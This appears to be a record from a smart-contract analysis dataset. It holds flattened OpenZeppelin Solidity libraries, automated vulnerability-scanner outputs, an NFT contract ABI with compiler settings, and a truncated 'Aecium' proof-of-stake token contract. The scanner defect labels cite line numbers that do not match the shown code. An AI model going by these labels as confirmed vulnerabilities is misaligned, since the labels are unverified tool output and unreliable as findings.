functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: Strings.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: ERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: Ownable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: SafeMath.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: Counters.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["56"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["957"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["17"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1200", "1066", "1044"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["73", "163"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["561", "1160", "1186", "1175", "167", "472"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["386", "441", "440", "410"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Counters.sol": [24, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Counters.sol": [40, 41, 42]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Counters.sol": [32, 33, 34, 35, 36, 37, 38]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Counters.sol": [26, 27, 28, 29, 30]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Counters.sol": [4]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 30, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 32, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 34, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1083, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 363, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 384, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 405, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 408, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 438, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1183, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 17, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 67, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 104, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 533, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 681, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 711, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 743, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 775, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 997, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1026, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1132, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1213, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1445, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 20, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 124, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 139, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1032, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1149, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 492, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 18, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 798, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1231, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1244, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1256, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1273, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1285, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1014, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 495, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 826, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1156, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 826, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 826, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 827, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 827, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 827, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 827, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 829, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 829, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 829, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_PER_TX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addrOne","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addrThree","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addrTwo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"getPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"numberOfTokens","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawSplit","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.4+commit.c7e474f2
true
200
Default
None
false
Aecium
0x7cdd19121009b3e1500e653d2a8084eb85d7a424
Solidity
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title PoSTokenStandard * @dev the interface of PoSTokenStandard */ contract PoSTokenStandard { uint256 public stakeStartTime; uint256 public stakeMinAge; uint256 public stakeMaxAge; function mint() returns (bool); function coinAge() constant returns (uint256); function annualInterest() constant returns (uint256); event Mint(address indexed _address, uint _reward); } contract Aecium is ERC20, PoSTokenStandard, Ownable { using SafeMath for uint256; string public name = "Aecium"; string public symbol = "AEM"; uint public decimals = 18; uint public chainStartTime; // chain start time uint public chainStartBlockNumber; // chain start block number uint public stakeStartTime; // stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**17; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function Aecium() { maxTotalSupply = 7*(10**24); // 7 Million. totalInitialSupply = 7.5*(10**23); // 750K chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) { if(msg.sender == _to) return mint(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; uint64 _now = uint64(now); transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( 